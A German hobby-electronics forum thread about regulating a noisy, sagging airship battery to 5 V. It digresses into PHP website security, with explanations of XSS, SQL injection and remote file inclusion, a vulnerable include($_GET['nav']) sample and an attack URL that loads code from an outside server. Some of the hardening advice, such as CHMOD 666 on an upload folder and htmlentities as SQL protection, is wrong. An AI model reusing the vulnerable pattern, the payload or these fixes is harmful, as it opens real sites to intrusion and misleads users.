Hallo. Ihr habt mir schon oft geholfen und ich hoffe es finden sich auch zu diesem Thema ein paar Leute, die sich damit auskennen. Ich muss eine Spannungsversorgung für ein Luftschiff bauen, welche folgende Eckdaten hat: - Spannungsversorgung über 7,2V Akku - Spannung muss auf 5V geregelt werden - Versorgt werden Mikrocontrollerboard (nanoModul), 1 Servo, Kameramodul und Funkmodul -> Spannungsversorgung sollte auf bis zu 1,5A ausgelegt sein Die Daten habe ich soweit nur gesagt bekommen, da wir die bestehende Luftschiffhardware verbessern sollen. Wieviel die Schaltung wirklich zieht weiß ich noch nicht, aber ich würde eher auf 500mA tippen. Jetzt kommen die Probleme: 1.) Die Schaltung soll so lange wie möglich halten, d.h. es muss ein Schaltregler oder ein Spannungsregler mit guten Low-Drop Eigenschaften und geringen Verlustströmen sein. 2.) Direkt am Akku hängen noch drei Motoren. Wenn die laufen ist die Akkuspannung sehr verrauscht und hat extreme Einbrüche. D.h. die Spannung fällt ständig auf bis zu 2V... Auf dem Oszi sieht die Akkuspannung dann wie ein breites Band aus. Wie das zu Stande kommt weiß ich nicht, aber wenn die Spannung vor einem 'normalen' Regler zusammenbricht, wird der daraus auch nichts mehr machen können... Der Mikrocontroller führt dann einen Brown-Out-Reset durch, was nicht so wünschenswert ist :-( Ich habe gehört, dass es auch Aufwärtsregler geben soll, die aus kleineren Spannungen ebenfalls (z.B.) 5V generieren können. Weiß da jemand was von? Im Idealfall suche ich quasi einen Spannungsregler, der aus 2...7,2V Gleichspannung 5V erzeugt 1,5A Strom liefern kann und dabei möglichst nicht unnötig den Akku leernuckelt. Für mich klingt das ganze ziemlich utopisch, aber wenn jemand so ein Teil schonmal gesehen hat oder eine andere Lösung für das Problem kennt, wäre ich ihm sehr dankbar, wenn er das hier posten könnte. André ____________________ http://www.dark-sun.de
Schau mal bei Motorola nach der AN954 Application note, da ist mit einem MC34063 eine Kombinierte Step up/down schaltung realisiert, sodass unterschiedliche Eingagnspannungen über/unter der gewünschten Spannung möglich sind, ist auch sehr sparsam und sollte für deine Anwendung perfekt sein, kann auch bis zu 1.5A liefern, ein Filter gegen Riplle hinten drann sollte die Spannung auch ausreichend glätten für den AVR.
Danke! Woher hast Du die Daten, dass er 1,5A liefern kann? Weil da ein 1,5A Schalttransistor integriert ist? Habe leider nirgens die ansonsten doch obligatorischen "Absolute Ratings" gefunden, die einem zielsicher sagen, wie man das gewählte Bauteil kaputt bekommt :-)
Hat sich erledigt. Hatte versehentlich in einer weiteren Application Note nach den ratings gesucht. Zwei Google Einträge tiefer war das Datenblatt :-)
DC-DC-Wandler? Sind die Motoren entstört? Drosseln in die Stromzuführungen und Kondensatoren zwischen Motorgehäuse und Plus sowie Minus und ein Kondensator zwischen Plus und Minus. Alle Cs direkt am Motor dran! Gruß, Anton
Hallo, Motoren vernünftig entstören! Als Schaltregler kann ich einen MAX1744 empfehlen! Funktioniert echt prima Gruß AxelR. http://pdfserv.maxim-ic.com/en/ds/MAX1744-MAX1745.pdf
Danke für die Antworten! Die Motoren sind entstört. Zumindest wurden an den Anschlüssen jeweils die drei erwähnten Kondensatoren angebebracht, was bei E-Motoren eigentlich der Entstörstandard zu sein scheint. Drosseln sind keine verbaut. Aber blocken Drosseln nicht nur leichte hochfrequente Störungen ab. Immerhin bricht bei mir die Spannung von ca. 6V auf 2-3V runter. Würden Drosseln Abhilfe schaffen? Und was für Drosseln verwendet man. Einfach die Leitungen um Ferritringe wickeln oder werden da Drosseln in Reihe eingelötet? Die Motoren werden übrigens über Drehzahlregler angesteuert (damit der Mikrocontroller nur PWM zur Ansteuerung rausgeben muss). Die Drehzahlregler befinden sich zwischen Motor und Akku. Der MAX1744 sieht ganz gut aus, aber der wird sich bedanken, wenn die Eingangsspannung ständig unter 4,5V sinkt, wie es zur Zeit ja der Fall ist... Den könnte ich gut verwenden, wenn die Akkuspannung keine Einbrüche mehr hat.
kommt ganz darauf an, wie lange die Einbrüche dauern. Wenn kurz, Schottky-Diode und dicken C vor den Spannungsregler, sodass die Motoren den C nicht leersaugen können. Würde auf jeden Fall einen Schaltregler wegen des besseren Wirkungsgrades nehmen. Schau nochmal bei Maxim vorbei, die haben viel so Batterie-Wandler-Zeug, mit dem man aus Batterien den letzten Tropfen rausziehen kann, d.h. die kommen auch mit geringer Spannung zurecht. LT und STM haben sicher auch vergleichbares. Evtl. mal schauen, ob die Akkus wirklich so extrem belastet werden müssen, dass die Spannung so weit einbricht. Das ist nämlich für den Wirkungsgrad auch nicht gerade das beste. Also den Drehzahlsteller so konzipieren, dass er einen Max-Strom nicht überschreitet. Evtl. auch den Innenwiderstand des Akkus untersuchen oder einen mit möglichst niedrigem auswählen. Auf jeden Fall den Schaltregler für die Elektronik so nah wie möglich am Akku anklemmen. Oder für die Elektonik einen eigenen, z.B. LiIon oder LiPoly, sehr leicht und extreme Energiedichte.
Den Tip mit LiIon oder LiPoly würde ich lieber nicht annehmen, weil extrem Umweltgefährlich und nicht so robust und langlebig, wie moderne NiMH...
Welche Frequenz haben diese Spannungseinbrüche? Welche Durchschnittsspannung stellt sich während dem Laufen der Motoren am Akku ein?
Ich konnte leider noch keine eigenen Messungen machen. Dem Bericht zufolge, den ich zum Luftschiff gelesen habe, stellt sich eine durchschnittliche Spannung von 5,5V ein. Die Frequenz kenne ich nicht, aber ich schätze mal, es wird im Bereich der Motordrehzahl liegen - Allerdings kenne ich die auch nicht :-(
Du musst doch, wenn Du die Stromversorgung für das teil neu machen willst/musst, eine gesamtschaltung haben? Oder zumindest ein Konzept, oder sowas.. Wenn die 7.2Volt Akkumulatoren auf 2Volt zusammenbrechen, dann stimmt doch die Lastanpassung in keiner Weise. Komisch @TravelRec LiPoly sind extrem Umweltgefährlich? Hmm... in der Richtlinie für allgemeine Produktsicherheit (RaPS) 2001/95/EG, welche vom Europäischen Parlament erlassen wurde, steht etwas anderes Gruß Axel
Ich versuch emal einen Screenshot vom Oszi zu bekommen, der die Spannungseinbrüche zeigt. Das Problem ist, dass es keinen vernünftigen Schaltplan gibt und die Platine ein alptraumhaftes Lochrastergefriemel ist... Ich will dafür jetzt einen Schaltplan erstellen und auch ne ordentliche Platine ätzen, aber das bringt mir ja alles nix wenn die Akkuspannung verhunzt ist bzw. ich nicht weiß, wie ich daraus konstante 5V mache. Den groben Aufbau habe ich ja soweit schon: Akku (7,4 V) [Anm. Habe mich mit den 7,2V vertan - sind 7,4V] | |---> Drehzahlregler 1 (wird vom µC gesteuert) ---> Motor 1 | ---> Motor 2 | |---> Drehzahlregler 2 (wird vom µC gesteuert) ---> Motor 3 | |---> Spannungsregler (5V) ---> Logikschaltung mit µC ---> Servo Die Drehzahlregler erzeugen sich selbst intern 5V, um die PWM-Signale des Mikrocontrollers zu verstehen. Ob sie die Motoren auch mit 5V ansteuern weiß ich nicht. Auf den Motoren steht als einzige Angabe 6V, also gehe ich mal davon aus, dass die mit 5V betrieben werden. Welche Stromaufnahme die haben... keine Ahnung :-[ Es sind hier total keine Infos zur Hardware vorhanden. Ist entwicklungstechnisch die reinste Hölle... Drehzahlregler 1 ist dafür ausgelegt, zwei Motoren gleichzeitig anzusteuern (hat dafür die entsprechenden Anschlüsse). Der Servo braucht 5V Eingangsspannung und wird ebenfalls über den Mikrocontroller angesteuert. Kann es sein, dass der Akku in die Knie geht, weil zuviel Strom gezogen wird? Vielleicht müssen wir nen dickeren Akku nehmen. Soweit ich weiß, wird z.Z. dieser hier verwendet: Conrad Akku 7,4V Conrad Best.-Nr. 228345 Oder erzeugen die Motoren im Betrieb Kurzschlüsse, die der Akku denen übel nehmen könnte? Hab mit E-Motoren nie soviel am Hut gehabt g Weiß nur, dass die beim Einschalten kurzzeitig nen Kurzschluss darstellen, wenn durch die Selbstinduktion noch keine Gegenspannung aufgebaut wurde.
Conrad Akku 7,4V Conrad Best.-Nr. 228345 die Dinger haben, wenn überhaupt eine Schutzschaltung verbaut ist, maximal einen PTC drinne. dieser wird bei diesem Akkutyp bei 1C-2C ansprechen (3Ampere, denke ich).Der Akku ist etweder zu klein oder du müsstest welche hernehmen, die mit minimum 5-7C belastet werden können, aslo einen extra kleinen Innenwiderstand haben. http://www.elektromodellflug.de/akku-test/kokam-parade.htm Kann auch sein, dass die Conrad Akkus defekt sind... Wie werden diese aufgeladen? Gruß AxelR.
@André tolle Website .-) Nur, um eine zu haben? naja egal, fiel mir nur eben so auf AxelR.
Argh! Mein Provider wird seid zwei Tagen von diesen Oldschool Spinnern gehackt, die meine index.php austauschen... Ich krieg noch nen Rappel wenn die das nicht bald in den Griff bekommen... Kannst auch über http://www.Dark-Sun.de/Main.php auf meine Site gelangen. Da steckt schon ein wenig mehr Arbeit drin als "nur um eine zu haben" g
Allerdingens! Die Spieleecke ist ziemlich witzig. Muss amn aufpassen, das man da nicht hängenebleibt Gruß AxelR.
Soweit mir ist, sollte bei PWM die Versorgungsspannung der Motoren eine prozentual höhere Spannung aufweisen, als das hier der Fall ist, für 12V Motoren bis zu 35V (auf roboternetz drüber gestolpert.) Wenn die Spannungseinbrüche im "Takt" der PWM erfolgen, dann sollte das der Beweis für diese These sein... mfg EIk
der Motorstrom steigt rasant an, wenn man die Motore taktet. Dieser hohe Strom fliesst aber nicht durch die Akkus, sondern von den Motoranschlüssen über die Freilaufdiode. Wenn man sich einen Step-Down Wandler ansieht, sieht man das sehr schön als Vergleich. Das die Versorgungsspannung nun höher liegen soll/muss, als die Motorspannung-k.A. sollte damit nun aber nichts zu tun haben. Die Akkus sind zu dünn, oder die vorhandene Schutzelektronik im Akku spricht an.
Das mit dem Step-Down-Converter stimmt insofern, als der durchschnittliche Akkustrom dann sinkt. Die Eingangs-Leistung ist die Ausgangsleistung (bis auf den Wirkungsgrad). Also fließt bei hoher Eingangsspannung ein geringer Strom, wenn das PWM-Verhältnis klein ist. Funktioniert wie beim konventionellen Netz(spar)trafo Pin = Pout. Der FET wandelt den Gleichstrom in einen Wechselstrom um und die Drossel transformiert die Spannung herunter und den Strom hinauf. Beim Step-Up-Converter ist es genau umgekehrt. Der Eingangsstom ist jedoch in dem Augenblick des Einschalten des FETs so hoch wie der Ausgangsstrom, jedoch nur für kurze Zeit, sodass der Durchschnittsstrom gering ist. Um diese Impuls-Ströme abzufangen (nicht von den Akkus zu fordern), sind am Eingang des Stellers gute low-ESR-Cs angeschlossen. www.elektromodellflug.de ist wirklich sehr fundiert.
@A.Wippich: DU solltest mal prüfen ob deine Website selber keien offensichtlichen einbruchlöcher bietet :)
Hi, hat denn die Seite offensichtliche einbruchlöcher? Mich würde die herangehensweise schonmal interssieren, wenns auch jetzt absolut nicht hierher passt, klar...
Also wodrauf man achten sollte: * Benutzereingaben (und dazu zählen auch Daten die über Formulare übetragen werden, auch bei der POST Methode) sollten immer maskiert werden htmelentities($variable) um Code insertions zu verhindern. * Besonders wichtig wenn man sachen hat wie /index.php?include=blabla.php um z.B: bei einem CMS andere Seiten einzubinden, verhindern oder überprüfen das externe Quellen eingebunden werden. * SQL-Abfragen, dinge wie /index.php?id=9, wo du dan im code ne Abfrage ahst ala: $sql="SELECT * FROM table WHERE id = ".$id; hier koenne weitere SQl Befehle eingeshcleust werden. * Die klassische Sache: zu einfache passwörter. * "Uploads", sollten nur in Verzeichnissen stattfinden die keine Ausführungsrechte habe, die Dateiendung Überprüft und der Upload eventuell agewiesen werden. Ist jezt was mir so auf die schnelle einfällt, weiss nicht ob sowas auf deine Seite zutrifft, eventuell ist auch der Provider schuld, oder ein User der Dinge einschleußt/läßt, wodurch der Hacker zugriff auf andere User erhält.
Hi. Der Einbruch ist nicht über meine Website erfolgt, weil bei einem Kumpel von mir, der beim gleichen Provider ist, ebenfalls die index-Seite ersetzt wurde. Und zwischen unseren Sites gibt es nicht die geringste Verbindung. Was Du da an möglichen Sicherheitsrisiken aufgezählt hast, macht mich trotzdem etwas nervös. Hätte da noch ein paar Fragen zu. 1.) Was meinst Du genau mit Code Insertions? Das jemand (als Beispiel:) HTML Code in ein Gästebuch-Formular schreibt, der dann von der Seite ausgeführt werden würde, sofern man die HTML-Tags nicht entfernt? 2.) Würde das Einschleusen von weiteren SQL Befehlen über die $id Variable funktionieren? Wenn der SQL String z.B. mit SELECT beginnt, erwartet die Datenbank doch eine ganz bestimmt Syntax, so dass man nicht einfach weiter Befehle adden kann. Höchstens noch so Einschränkungen wie LIMIT=1, oder? Gruß, André
@A.Wippich: Wenn SQL-Injection möglich ist, kann der Angreifer praktisch beliebige SQL-Statements einschleusen. Der Angreifer kann dann mit der Datenbank machen was er will. SQL-Injection ist sehr mächtig...
Die Sache sit, das du mehrere SQL Befehle nacheinader ausführen kannst innerhalb eines Statments, udn wie Unbekannter sagte aknn man damit sehr viel Blödsinn machen. Code Insertion ist genu das was du beschriebe hast, das kann dann natürlich recht harmlos sein (jemand macht sein schrift einfach FETT oder fügt nen nettes Bild ein) aber dass weitaus größere Problem ist, das der Apachee z.B. es unterstüzt, Module anzusprechen (z.B. PHP) welche in normalen HTML Code eingebunden wird: <normaler><html><code> <?php echo phpinfo(); ?> </code></html></normaler> Würde z.B. wenn die Option aktiviert ist das Dokument erstmal durch den parser senden und auf die weise an der Stelle dann halt PHP Befehle enthalten, so könnte ich dann, dadurch das PHP zugriff auf das Filesystem hat, alel Datein anschauen (im Klartext!) udn so an SQl Daten komemn udn mit einer weiteren Insertion mir dann Zugriff auf Ordner, oder die Datenbank gewähren und und und. Du kanst obigen Code übrigens ja mal testen, einfach als text.htm speichern und aufrufen, wenn nicht geht sollte er es einfach ignorieren, wenn es geht, sollte information über die instalierte PHP version angezeigt werden.
Ok. Vor den Code Insertions brauche ich momentan keine Angst zu haben, weil man keine öffentliche Texte bei mir posten kann. Aber gut zu wissen, dass so etwas bedacht werden muss. Wie muss ich denn das CHMOD meines Upload Ordners setzen, damit niemand Dateien in diesem Verzeichnis ausführen kann - die Website aber immer noch in der Lage ist, Dateien dort reinzuladen? Und was kann man mit den SQL-Anhängseln machen? Auswertung, was in der Variable $id steht und diese nur zulassen, wenn sie rein aus Zahlen besteht? Das könnte man mit 'ereg' machen, oder? Uff, es gibt auch jeden Tag was neues zu lernen :-)
CHMOD 666 erlaubt kein Ausführen in diesem Ordner (natürlichnur bei UNIX/Linux Servern) die sache mit der id läßt sich recht leicht lösen: ... WHERE id = '".(htmlentities($id)+0)."'"; dmit werdne alle stuerzeichen entfernt, die Variable als Int gecastet und somit im zweifelsfall zu 0 ausgewertet.
interessanter sind file inclusions ... wenn dann noch allow url fopen = on ist dann wirds richtig mies :-X grobes Beispiel: index.php: <? $nav = $_GET['nav']; include($nav); ?> normaler aufruf: index.php?nav=startseite.html boeser hacker: index.php?nav=http://meinserver.net/badfile.php -> badfile.php wird auf deinem Server mit deinen rechten ausgeführt. Schlimmer gehts nicht mehr 8)
Ok, danke nochmal. Hab schnell mal diese Sicherheitslücken geschlossen :-)
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